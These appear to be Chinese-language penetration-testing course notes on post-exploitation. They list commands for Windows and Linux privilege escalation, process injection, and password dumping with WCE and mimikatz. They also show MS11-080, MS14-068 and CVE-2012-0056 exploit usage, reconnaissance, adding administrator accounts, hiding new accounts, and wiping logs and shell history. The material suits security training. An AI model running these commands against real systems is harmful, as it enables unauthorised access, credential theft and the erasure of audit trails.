Windows
• user
• Administrator
• System
Linux
• User
• Root
windows提权
将admin提权为system
net user命令 查看账户
Guest 用户,权限很小
HelpAssistant 用户,远程协助账号
Windows system账号
• 系统设置管理功能
SysInternal Suite工具
• https://technet.microsoft.com/en-us/sysinternals/bb545027
放到/WINDOWS/system32 目录下就可在cmd中使用
psexec -i -s -d taskmgr 套件中的工具,-i 使用交互模式,-s 提升为system执行程序
windos internal书
at命令提权(xp,2003)
at 19:39 /interactive cmd 指定时间执行cmd,获得system权限,再启动其他进程都会以system账户运行,taskmgr命令打开任务管理器,先把explorer进程(桌面进程)kill,再以system权限打开
sc命令提权
• sc Create syscmd binPath= "cmd /K start" type= own type= interact 重新启动命令行窗口,交互式,创建了系统服务syscmd
• sc start syscmd 启动服务(系统服务默认以system权限启动,得到system权限)
注入进程提权
隐蔽痕迹
• pinjector.exe
• http://www.tarasco.org/security/Process_Injector/
pinjector -p <PID> <cmd> <port> <inject into PID> 注入进程同时监听端口
抓包嗅探
Windows
• Wireshark
• Omnipeek
• commview
• Sniffpass 基于抓包的嗅探密码工具
Linux
• Tcpdump
• Wireshark
• Dsniff ftp的明文传输协议可以直接抓到密码
本地缓存密码
• 浏览器缓存的密码
• IE浏览器
• Firefox
• 网络密码
• 无线密码
• http://www.nirsoft.net
• Dump SAM
Pwdump
命令行工具
将操作系统保存的密码哈希值导出,xp系统默认保存在system32/SAM
/usr/share/windows-binaries/fgdump/
Pwdump.exe localhost 显示本地的账户和密码
WINDOWS身份认证过程
windos LOGON程序,用LMHash与NTHash将输入的密码hash计算与SAM数据库比对,远程登录时,先计算再传输给主机,hash逆向计算结果不唯一,传输用NTLM协议
WCE(WINDOWS CREDENTIAL EDITOR)
Windows身份验证编辑器,从内存中读信息
/usr/share/wce/
• 需要管理员权限
• wce-universal.exe -l / -lv 显示已经登陆的账号/显示详细信息
• wce-universal.exe -d 指定LUID删除登录
• wce-universal.exe -e 指定刷新时间
• wce-universal.exe -r 每隔5秒刷新登录信息
• wce-universal.exe -g 计算指定字符串的hash值
• wce-universal.exe -w 显示内存中存放的明文密码!!
• wce-universal.exe -i <LUID> -s <另一个账户信息> 指定LUID,将账户信息修改为指定
• LM /NT hash
• 从内存读取LM / NTLM hash
• Digest Authentication Package
• NTLM Security Package
• Kerberos Security Package
防止WCE攻击:
注册表位置:
• HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages
• kerberos msv1_0
schannel
wdigest 用于本机登录,将此项删除,操作系统变成了单用户状态
tspkg 用于远程登录
pku2u
fgdump工具
mimikatz工具
:: 显示帮助
privilege::debug 提升权限
sekurlsa::logonPasswords 显示账户的详细信息
sekurlsa模块:
process模块:
lsadump模块:
ts::multirdp 允许多用户同时登录
event模块,clear清除日志,drop不再产生新日志
misc模块:
利用漏洞提权
Ms11-080 漏洞编号,11年的80个
• Kb2592799 漏洞补丁
https://technet.microsoft.com/library/security/ms11-080
将python脚本编译为exe文件,可在目标机器直接运行
Pyinstaller
将脚本转换为exe
将解压文件放到python目录下,将脚本放到pyinstaller目录下
• https://pypi.python.org/pypi/PyInstaller/2.1
python pyinstaller --onefile ms11-080.py
• Pywin32
• http://sourceforge.net/projects/pywin32/files/pywin32/Build%20219/
net localgroup administrators a /add
• M S11-046
• DoS
域服务器:
必须是windos server操作系统
ip地址必须为静态ip,网关192.168.1.1,DNS服务器ip地址就是自己的ip地址
管理员账户在升级成域后自动变成域管理员
运行dcpromo,会开始Active Directory向导,给域起DNS全名aa.com
NetBIOS名称默认aa,活动目录数据库不要和系统盘放一起,设置为DNS服务器
MCSE认证,MCST认证
要连接域的机器的DNS服务器设置为域控的ip地址
域用户密码必须符合密码复杂度要求
Ms14-068
•库
• https://github.com/bidord/pykek
• ms14-068.py -u user@lab.com -s userSID -d dc.lab.com
• 拷贝 TGT_user1@lab.com.ccache 到windows系统
• 本地管理员登陆
• mimikatz.exe log "kerberos::ptc TGT_user@lab.com.ccache" exi
Ubuntu11.10 (官方停止更新更新源)
http://old-releases.ubuntu.com/releases/11.10/
gcc(在安装光盘中集成了常用软件包,可插入光盘安装)
sudo mount /dev/cdrom /media/cdrom 将光盘挂载
• sudo apt-cdrom add && sudo apt-get install gcc 将光盘挂载到更新源里并安装软件
• gcc 18411.c -o exp
CVE-2012-0056
• /proc/pid/mem 启动过程中生成的临时目录
• kernels >=2.6.39
利用代码:18411.c
远程拷贝:scp 文件目录 root@192.168.1.107:目标目录
利用配置不当提权
与漏洞提权相比 更常用的方法
• 企业环境
• 补丁更新的全部已经安装
• 输入变量过滤之外更值得研发关注的安全隐患
• 以system权限启动 系统服务以system权限启动
• NTFS权限允许users修改删除
icacls程序
查看NTFS权限
• icacls c:\windows\*.exe /save txt /T 查看所有程序权限列表,保存成文件
• i586-mingw32msvc-gcc -o admin.exe admin.c 编译成windows环境下的可执行程序
• Find
linux检查文件权限:当前用户用户组所有用户
• find / -perm 777 -exec ls -l {} \; 查找全权限的程序,777(全权限)
需要收集的信息:
Linux
• /etc/resolv.conf DNS配置
• /etc/passwd 所有用户都可以read
• /etc/shadow 用户账号密码,只有root和shadow用户可以读
• whoami and who –a
• ifconfig -a,
iptables -L -n, 查看防火墙设置
netstat –nr 网关和路由设置
• uname –a, 内核版本
ps aux 进程列表
• dpkg -l | head 软件包列表
Windows
• ipconfig /all ,
ipconfig /displaydns dns缓存
netstat -bnao , netstat –r 查看路由
• net view , net view /domain
• net user /domain, net user %username% /domain
• net accounts, net share 查看分享
• net localgroup administrators username /add 添加到管理员组
• net group "Domain Controllers" /domain 查看主机账号
• net share name$=C:\ /unlimited 将c盘不设限制
• net user username /active:yes /domain将域环境下被锁定的账户激活
WMIC(WINDOWS MANAGEMENT INSTRUMENTATION)
windows下的管理框架
• wmic nicconfig get ipaddress,macaddress读取ip和mac地址
• wmic computersystem get username查看登录账号
• wmic netlogin get name,lastlogon查看登录记录
• wmic process get caption, executablepath,commandline查看进程
• wmic process where name=“calc.exe" call terminate结束进程
• wmic os get name,servicepackmajorversion 提取操作系统版本
• wmic product get name,version查看软件
• wmic product where name=“name” call uninstall /nointeractive 卸载
• wmic share get /ALL看共享文件夹
• wmic /node:主机名 path Win32_TerminalServiceSetting where AllowTSConnections="0" call SetAllowTSConnections "1“ 开启远程桌面
• wmic nteventlog get path,filename, writeable 查看系统日志文件目录
收集敏感数据
• 商业信息
• 系统信息
Linux
/etc配置文件目录
/usr/local/etc配置文件
/etc/passwd ;/etc/shadow
.ssh 远程连接的密钥
.gnupg 公私钥
• The e-mail and data files
• 业务数据库 ;身份认证服务器数据库
• /tm
windows
• SAM 数据库 ; 注册表文件
• %SYSTEMROOT%\repair\SAM SAM副本
• %SYSTEMROOT%\System32\config\RegBack\SAM
• 业务数据库 ; 身份认证数据库
• 临时文件目录
• UserProfile\AppData\Local\Microsoft\Windows\Temporary Internet Files\
隐藏痕迹
• 禁止在登陆界面显示新建账号
• REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WinLogon\SpecialAccounts\UserList" /v uname /T REG_DWORD /D 0
• del %WINDIR%\*.log /a/s/q/f
• History
history -c 清除执行命令历史
• 日志
• auth.log / secure • btmp/wtmp
• lastlog / faillog
• 其他日志和 HIDS 等